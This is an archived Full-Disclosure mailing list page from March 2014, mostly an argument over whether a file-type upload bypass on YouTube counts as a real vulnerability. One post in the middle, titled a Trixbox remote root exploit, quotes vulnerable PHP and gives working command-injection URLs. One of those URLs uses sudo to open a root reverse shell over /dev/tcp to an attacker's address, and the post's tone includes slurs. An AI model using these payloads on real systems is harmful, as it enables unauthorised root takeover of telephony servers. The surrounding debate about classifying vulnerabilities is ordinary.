  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your thinking
  to others in a precise and internally consistent manner that convinces
  others to act. We need this because the security of a system can't be
  usefully described using abstract terms: even the academic definitions
  ultimately boil down to saying the system is secure if it doesn't do
  the things we *really* don't want it to do.
 
  In this spirit, the term vulnerability is generally reserved for
  behaviors that meet all of the following criteria:
 
  1) The behavior must have negative consequences for at least one of
  the legitimate stakeholders (users, service owners, etc),
 
  2) The consequences must be widely seen as unexpected and unacceptable,
 
  3) There must be a realistic chance of such a negative outcome,
 
  4) The behavior must introduce substantial new risks that go beyond
  the previously accepted trade-offs.
 
  If we don't have that, we usually don't have a case, no matter how
  clever the bug is.
 
  Cheers (and happy hunting!),
  /mz
 
  ___
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/



___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Nicholas Lemonias.
Are you a Google employee...I wonder?

There is nothing else to be said regarding this. Our research for remote
code execution continues and will let you and Google  know once that is
confirmed; through the coordinated security program.

And please OWASP, is recognised worldwide.


Best Regards,
Nicholas Lemonias


On Thu, Mar 13, 2014 at 11:06 PM, Julius Kivimäki julius.kivim...@gmail.com
 wrote:

 Look, you keep calling it a vulnerability with 0 evidence that it's even
 exploitable. Until you can prove otherwise this is like speculating the
 potential security repercussions of uploading files to EC2 (Which would
 probably have potential to be much more severe than what you're discussing
 here since javascript uploaded to ec2 could actually get executed by
 someones browser)

 You keep throwing around keywords like OWASP, OSI, security best
 practices as if they actually make a difference here. Truth is there's no
 reason to believe that what you have discovered here is exploitable. This
 mostly seems like a desperate attempt of getting money off of google and
 your name in some publication shitty enough to not do any fact checking
 (eg. softpedia) .


 2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and full-disclosure,
 however you seem not to understand the security report fully and some core
 principles. If you can't see what information security best practises, the
 OSI/network model and self-automata propagation has anything to do with
 arbitrary write permissions to a remote network leveraging from the
 application layer, then me and you have nothing to talk about.

 As for the exploitability of this vulnerability, you will never know
 until you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.


 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Thu, Mar 13, 2014 at 7:47 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Julius Kivimäki julius.kivim...@gmail.com


 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and full-disclosure,
 however you seem not to understand the security report fully and some core
 principles. If you can't see what information security best practises, the
 OSI/network model and self-automata propagation has anything to do with
 arbitrary write permissions to a remote network leveraging from the
 application layer, then me and you have nothing to talk about.

 As for the exploitability of this vulnerability, you will never know
 until you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.



 On Thu, Mar 13, 2014 at 7:02 PM, Julius Kivimäki 
 julius.kivim...@gmail.com wrote:

 I don't see what OSI model has to do with anything here. Why is
 arbitrary file upload to youtube CDN any worse than to google drive CDN?
 And how will your self-executing encrypted virus like Cryptolocker
 end up getting executed anyways? And cryptolocker was definitely not
 self-executing, but spread via email attachments (excluding the boring
 USB spread functionality).

 What you have here is not a vulnerability, just give up. And stop trying
 to get journalists like Eduard Kovacs to spread your BS.

 2014-03-13 19:10 GMT+02:00 Nicholas Lemonias. 
 lem.niko...@googlemail.com:

 Hello Julius,

 I appreciate your interest to learn more. OWASP is quite credible, and
 has gained some international recognition. It is a benchmark for many
 vendors. I suggest you to read on OSI/7-Layer Model. A website may disallow
 uploads of certain file types for security reasons, and let's assume at the
 application layer. If we manage to get past the security controls, that
 means  we can write unrestrictedly any type of file to the remote network.
 That also means that we get past their firewall, since the communication is
 through HTTP (port 80). CDN nodes are deployed to multiple colocation
 (thousands of nodes and thousands of servers across the world). The files
 (let's say a self-executing encrypted virus like Cryptolocker? ) are cached
 deeply in the network across thousands of servers.


 On Thu, Mar 13, 2014 at 5:07 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hello Julius,

 I appreciate your interest to learn more. OWASP is quite credible, and
 has gained some international recognition. It is a benchmark for many
 vendors. I suggest you to read on OSI/7-Layer Model. A website may 
 disallow
 uploads of certain file types for security reasons, and let's assume at 
 the
 

[Full-disclosure] Trixbox all versions , Remote root exploit

2014-03-14 Thread 0u7 5m4r7
# App : Trixbox all versions
# vendor : trixbox.com
# Author : i-Hmx
# mail : n0p1...@gmail.com
# Home : security arrays inc , sec4ever.com ,exploit4arab.net

Well well well , we decided to give schmoozecom a break and have a look @
fonality products
do you think they have better product than the (Award winning) trixbox!!!
I don't think so
Designed and marketed for Fonality's partner community, trixbox Pro is an
IP-PBX software solution purpose built to support growing SMB businesses.
A unique hybrid hosted telephony solution; trixbox Pro provides big
business features at an SMB cost . . blah blah blah
What do we have here??
A 3 years old Sql injection flaw???
not big deal , and already been reported
not enough good exploitation , but reported
A file disclosure flaw???
save it for later
let's give Fonality little Remote root Exploit xD
and also give the Predictors some pain in the ass trying to exploit this
consider it as challenge ;)
Here we go
Vulnerable file :
/var/www/html/maint/modules/endpointcfg/endpoint_aastra.php
Pice of shit , sorry i mean code

switch($_action) {
case 'Edit':
if ($_REQUEST['newmac']){ // create a new phone from device map
$mac_address = $_REQUEST['newmac'];
}
if ($_REQUEST['mac']){
$phoneinfo = GetPhone($_REQUEST['mac'],$PhoneType);
$mac_address=$phoneinfo['mac_address'];} // if there is a
request ID we Edit otherwise add a new phone

$freepbx_device_list = GetFreepbxDeviceList();
$smarty-assign(mac_address, $mac_address);
$smarty-assign(phone, $phoneinfo);
$smarty-assign(freepbx_device_list, $freepbx_device_list);

$smarty-assign(message, $message);
$template = endpoint_.$PhoneType._edit.tpl;
break;

case 'Delete':
exec(rm .$sipdir.$_REQUEST['mac']..cfg);
getSQL(DELETE FROM .$PhoneType. WHERE
mac_address='.$_REQUEST['mac'].','endpoints');
$smarty-assign(phones, ListPhones($PhoneType));
$template = endpoint_.$PhoneType._list.tpl;
break;

it's obvious we care about this line
exec(rm .$sipdir.$_REQUEST['mac']..cfg);
Exploitation demo :
maint/modules/endpointcfg/endpoint_aastra.php?action=Deletemac=fa;echo
idxx;faris
result will be written to xx
but this is not the full movie yet ,
Am here to give fonality an night mare , which take the form of root
privzz
actually the server is configured by default to allow the web interface
pages to edit many files @ the root directory
so any noob can easily execute the sudo fuck with out being permited for
password , and the result is  root
Demo
Back connection with root privs
maint/modules/endpointcfg/endpoint_aastra.php?action=Deletemac=fa;sudo
bash -i %26 %2fdev%2ftcp%2fxxx.xxx.xxx.xxx%2f1337 0%261;faris
change to your ip and the port you are listening to
and , Volia , you are root
now am sure you're happy as pig in shit xD
Still need more??
you will notice that you're unable to reach this file due to the http
firewall
but actually there is simple and yet dirty trick that allow you to get pass
through it , and execute your command smothely as boat on the river ;)
And here come the challenge , let's see what the faggots can do with this ;)
need hint???
use your mind and fuck off :/

Big greets fly to the all sec4ever family
oh , and for voip lames , you can use our 0Days for sure
but once it become 720Days xD
Regards,
Faris the Awsome
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Mario Vilas
You're still missing the attack vector (and the point of the discussion
too, but that's painfully obvious).


On Fri, Mar 14, 2014 at 4:21 AM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:


 Here's my evidence.

 Live Proof Of Concept
 ==

 http://upload.youtube.com/?authuser=0upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw



 {sessionStatus:{state:FINALIZED,externalFieldTransfers:[{name:file,status:COMPLETED,bytesTransferred:113,bytesTotal:113,formPostInfo:{url:
 http://www.youtube.com/upload/rupio?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026file_id=000
 ,cross_domain_url:
 http://upload.youtube.com/?authuser=0\u0026upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026origin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw},content_type:text/x-sh}],additionalInfo:{uploader_service.GoogleRupioAdditionalInfo:{completionInfo:{status:SUCCESS,customerSpecificInfo:{status:
 ok, video_id:
 KzKDtijwHFI,upload_id:AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw}}

 The above proof of concept demonstrates :

 1. We have bypassed the security controls in Youtube and uploaded an
 unexpected file type.
 2. The file is persistent and has not been deleted by YouTube.
 3. It can be queried for information since it is assigned a unique
 upload_id.
 4. It's successfully uploaded to youtube.com  As you can see it give out
 the total bytes written to the remote network.
 5. content_type:text/x-sh}]   --- The file is a shell
 script script named 'file'
 6. It can be enumerated by a non-authenticated user, remotely.


 On Fri, Mar 14, 2014 at 2:40 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Are you a Google employee...I wonder?

 There is nothing else to be said regarding this. Our research for remote
 code execution continues and will let you and Google  know once that is
 confirmed; through the coordinated security program.

 And please OWASP, is recognised worldwide.


 Best Regards,
 Nicholas Lemonias


 On Thu, Mar 13, 2014 at 11:06 PM, Julius Kivimäki 
 julius.kivim...@gmail.com wrote:

 Look, you keep calling it a vulnerability with 0 evidence that it's
 even exploitable. Until you can prove otherwise this is like speculating
 the potential security repercussions of uploading files to EC2 (Which would
 probably have potential to be much more severe than what you're discussing
 here since javascript uploaded to ec2 could actually get executed by
 someones browser)

 You keep throwing around keywords like OWASP, OSI, security best
 practices as if they actually make a difference here. Truth is there's no
 reason to believe that what you have discovered here is exploitable. This
 mostly seems like a desperate attempt of getting money off of google and
 your name in some publication shitty enough to not do any fact checking
 (eg. softpedia) .


 2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. 
 lem.niko...@googlemail.com:

 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and
 full-disclosure, however you seem not to understand the security report
 fully and some core principles. If you can't see what information security
 best practises, the OSI/network model and self-automata propagation has
 anything to do with arbitrary write permissions to a remote network
 leveraging from the application layer, then me and you have nothing to talk
 about.

 As for the exploitability of this vulnerability, you will never know
 until you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.


 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Thu, Mar 13, 2014 at 7:47 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Julius Kivimäki julius.kivim...@gmail.com


 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and
 full-disclosure, however you seem not to understand the security report
 fully and some core principles. If you can't see what information security
 best practises, the OSI/network model and self-automata propagation has
 anything to do with arbitrary write permissions to a remote network
 leveraging from the application layer, then me and you have nothing to talk
 about.

 As for the exploitability of this vulnerability, you will never know
 until you 

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Pedro Ribeiro
On 13 Mar 2014 14:30, Nicholas Lemonias. lem.niko...@googlemail.com
wrote:

 I suggest you to read on Content Delivery Network Architectures .

  YouTube.com populates and distributes stored files to multiple servers
 through a CDN (Content Delivery Architecture), where each video uses more
 than one machine (hosted by a cluster). Less populated video files are
 normally stored in various colocation sites. The YouTube architecture uses
 databases for storing metadata information of all uploaded files.

 https://www.owasp.org/index.php/Unrestricted_File_Upload


Being a CDN means it is very hard to find out where your file went.

I agree with was said on this thread by other people.

As an external penetration testing consultant, I would put this on a client
report as a low risk finding / possible vulnerability and recommend it to
be fixed.

As an internal vulnerability manager I would push the developers to fix it,
but I would give it a low priority and only real press then once all the
higher priority ones have been fixed.

However in the real world it is not a vulnerability, and don't expect
Google to pay you for it.

Regards
Pedro
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Mario Vilas
But do you have all the required EH certifications? Try this one from the
Institute for
Certified Application Security Specialists: http://www.asscert.com/


On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including Microsoft,
 Nokia, Adobe and some of the world's biggest corporations. We are also
 strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file of
 choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team feels
 that this would be necessary. This is unpaid work, so we are not so keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly, so do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your thinking
  to others in a precise and internally consistent manner that convinces
  others to act. We need this because the security of a system can't be
  usefully described using abstract terms: even the academic definitions
  ultimately boil down to saying the system is secure if it doesn't do
  the things we *really* don't want it to do.
 
  In this spirit, the term vulnerability is generally reserved for
  behaviors that meet all of the following criteria:
 
  1) The behavior must have negative consequences for at least one of
  the legitimate stakeholders (users, service owners, etc),
 
  2) The consequences must be widely seen as unexpected and unacceptable,
 
  3) There must be a realistic chance of such a negative outcome,
 
  4) The behavior must introduce substantial new risks that go beyond
  the previously accepted trade-offs.
 
  If we don't have that, we usually don't have a case, no matter how
  clever the bug is.
 
  Cheers (and happy hunting!),
  /mz
 
  ___
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/




 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the 

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Nicholas Lemonias.
We are on a different level perhaps. We do certainly disagree on those
points.
I wouldn't hire you as a consultant, if you can't tell if that is a valid
vulnerability..


Best Regards,
Nicholas Lemonias.

On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from the
 Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file of
 choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team feels
 that this would be necessary. This is unpaid work, so we are not so keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly, so do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your thinking
  to others in a precise and internally consistent manner that convinces
  others to act. We need this because the security of a system can't be
  usefully described using abstract terms: even the academic definitions
  ultimately boil down to saying the system is secure if it doesn't do
  the things we *really* don't want it to do.
 
  In this spirit, the term vulnerability is generally reserved for
  behaviors that meet all of the following criteria:
 
  1) The behavior must have negative consequences for at least one of
  the legitimate stakeholders (users, service owners, etc),
 
  2) The consequences must be widely seen as unexpected and
 unacceptable,
 
  3) There must be a realistic chance of such a negative outcome,
 
  4) The behavior must introduce substantial new risks that go beyond
  the previously accepted trade-offs.
 
  If we don't have that, we usually don't have a case, no matter how
  clever the bug is.
 
  Cheers (and happy hunting!),
  /mz
 
  ___
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/




 ___
 

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread antisnatchor


Nicholas Lemonias. wrote:
 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file of
 choice.

 I could release an exploit code in C Sharp or Python that permits multiple
 file uploads of any file/types, if the Google security team feels that this
 would be necessary. This is unpaid work, so we are not so keen on that job.

LOL you mean 1, maybe 2 hours, you need to write (and test) a
Ruby/Python script.
I don't know your hourly rate, but wouldn't that be like 200$? Is that
really worth?

Also, the point that this 'bug' counts as a valid finding when you do
pentests, well it's a long story.
If you see reports from the big4 companies, you can always notice info
findings as in TRACE enabled
(you can't 'exploit' that through XHR from years anyways), but simply
you wouldn't expect Google to pay you
for such a bug. Same with this bug.

Cheers
antisnatchor



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
 Nicholas,

 I remember my early years in the infosec community - and sadly, so do
 some of the more seasoned readers of this list :-) Back then, I
 thought that the only thing that mattered is the ability to find bugs.
 But after some 18 years in the industry, I now know that there's an
 even more important and elusive skill.

 That skill boils down to having a robust mental model of what
 constitutes a security flaw - and being able to explain your thinking
 to others in a precise and internally consistent manner that convinces
 others to act. We need this because the security of a system can't be
 usefully described using abstract terms: even the academic definitions
 ultimately boil down to saying the system is secure if it doesn't do
 the things we *really* don't want it to do.

 In this spirit, the term vulnerability is generally reserved for
 behaviors that meet all of the following criteria:

 1) The behavior must have negative consequences for at least one of
 the legitimate stakeholders (users, service owners, etc),

 2) The consequences must be widely seen as unexpected and unacceptable,

 3) There must be a realistic chance of such a negative outcome,

 4) The behavior must introduce substantial new risks that go beyond
 the previously accepted trade-offs.

 If we don't have that, we usually don't have a case, no matter how
 clever the bug is.

 Cheers (and happy hunting!),
 /mz

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/

-- 
Cheers
Michele

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Nicholas Lemonias.
Jerome of Mcafee has made a very valid point on revisiting  separation of
duties in this security instance.

Happy to see more professionals with some skills.  Some others have also
mentioned the feasibility for Denial of Service attacks. Remote code
execution by Social Engineering is also a prominent scenario.

If you can't tell that that is a vulnerability (probably coming from a
bunch of CEH's), I feel sorry for those consultants.

Nicholas.


On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a valid
 vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com wrote:

 But do you have all the required EH certifications? Try this one from the
 Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to the
 research community after all. If you are still on EFNet give me a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file
 of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team feels
 that this would be necessary. This is unpaid work, so we are not so keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly, so do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find
 bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your thinking
  to others in a precise and internally consistent manner that
 convinces
  others to act. We need this because the security of a system can't be
  usefully described using abstract terms: even the academic
 definitions
  ultimately boil down to saying the system is secure if it doesn't do
  the things we *really* don't want it to do.
 
  In this spirit, the term vulnerability is generally reserved for
  behaviors that meet all of the following criteria:
 
  1) The behavior must have negative consequences for at least one of
  the legitimate stakeholders (users, service owners, etc),
 
  2) The consequences must be widely seen as unexpected and
 unacceptable,
 
  3) There must be a realistic 

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Nicholas Lemonias.
Live Proof Of Concept
==
http://upload.youtube.com/?authuser=0upload_id=
AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--
uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=
CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw


{sessionStatus:{state:FINALIZED,externalFieldTransfers:[{name:file,status:COMPLETED,bytesTransferred:113,bytesTotal:113,formPostInfo:{url:
http://www.youtube.com/upload/rupio?authuser=0\u0026upload_id=
AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--
uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aw\u0026file_id=000
,cross_domain_url:http://upload.youtube.com/?authuser=0\u0026upload_id=
